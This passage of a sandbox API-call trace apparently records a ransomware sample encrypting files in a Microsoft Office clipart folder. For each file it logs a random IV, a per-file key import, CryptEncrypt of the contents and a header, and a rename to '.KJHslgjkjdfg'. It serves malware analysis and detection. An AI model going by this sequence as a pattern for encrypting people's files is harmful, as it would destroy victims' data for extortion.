liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.569] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x25d0, lpOverlapped=0x0) returned 1 [0161.569] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.569] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x26a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.569] SetEndOfFile (hFile=0x114) returned 1 [0161.572] GetProcessHeap () returned 0x2a0000 [0161.572] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.572] GetProcessHeap () returned 0x2a0000 [0161.572] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.kjhslgjkjdfg")) returned 1 [0161.574] CloseHandle (hObject=0x114) returned 1 [0161.574] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0161.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.575] GetProcessHeap () returned 0x2a0000 [0161.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.575] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.575] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.575] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.575] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.575] GetProcessHeap () returned 0x2a0000 [0161.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.575] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.575] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.575] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.578] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.578] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.578] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.578] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.578] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.578] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.578] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6630, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6630, lpOverlapped=0x0) returned 1 [0161.580] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6630, dwBufLen=0x6630 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6630) returned 1 [0161.580] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.580] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6630, lpOverlapped=0x0) returned 1 [0161.580] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.580] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.580] SetEndOfFile (hFile=0x114) returned 1 [0161.583] GetProcessHeap () returned 0x2a0000 [0161.583] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.583] GetProcessHeap () returned 0x2a0000 [0161.583] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.kjhslgjkjdfg")) returned 1 [0161.585] CloseHandle (hObject=0x114) returned 1 [0161.585] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0161.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.586] GetProcessHeap () returned 0x2a0000 [0161.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.586] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.586] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.586] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.588] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.588] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.588] GetProcessHeap () returned 0x2a0000 [0161.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.588] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.588] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.589] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.589] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.589] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.589] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.589] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.589] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.589] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.589] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.589] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.589] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6b9a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6b9a, lpOverlapped=0x0) returned 1 [0161.591] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6ba0, dwBufLen=0x6ba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6ba0) returned 1 [0161.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.591] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6ba0, lpOverlapped=0x0) returned 1 [0161.591] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.591] SetEndOfFile (hFile=0x114) returned 1 [0161.594] GetProcessHeap () returned 0x2a0000 [0161.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.594] GetProcessHeap () returned 0x2a0000 [0161.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.kjhslgjkjdfg")) returned 1 [0161.596] CloseHandle (hObject=0x114) returned 1 [0161.596] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0161.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.598] GetProcessHeap () returned 0x2a0000 [0161.598] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.598] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.598] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.598] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0161.600] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.600] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.600] GetProcessHeap () returned 0x2a0000 [0161.600] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.600] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.600] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.600] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.600] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.601] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.601] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.601] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.601] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.601] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.601] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.601] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.601] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b29, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3b29, lpOverlapped=0x0) returned 1 [0161.602] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b30) returned 1 [0161.602] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.602] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3b30, lpOverlapped=0x0) returned 1 [0161.602] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.603] SetEndOfFile (hFile=0x114) returned 1 [0161.605] GetProcessHeap () returned 0x2a0000 [0161.605] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.605] GetProcessHeap () returned 0x2a0000 [0161.605] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.kjhslgjkjdfg")) returned 1 [0161.606] CloseHandle (hObject=0x114) returned 1 [0161.606] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0161.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.607] GetProcessHeap () returned 0x2a0000 [0161.607] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.607] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.607] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.607] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.609] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.609] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.609] GetProcessHeap () returned 0x2a0000 [0161.609] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.609] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.609] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.609] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.609] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.609] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.609] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.609] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.609] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.609] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.610] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bf2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1bf2, lpOverlapped=0x0) returned 1 [0161.610] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c00, dwBufLen=0x1c00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c00) returned 1 [0161.610] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.610] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c00, lpOverlapped=0x0) returned 1 [0161.611] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.611] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.611] SetEndOfFile (hFile=0x114) returned 1 [0161.613] GetProcessHeap () returned 0x2a0000 [0161.613] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.613] GetProcessHeap () returned 0x2a0000 [0161.613] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.kjhslgjkjdfg")) returned 1 [0161.614] CloseHandle (hObject=0x114) returned 1 [0161.614] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 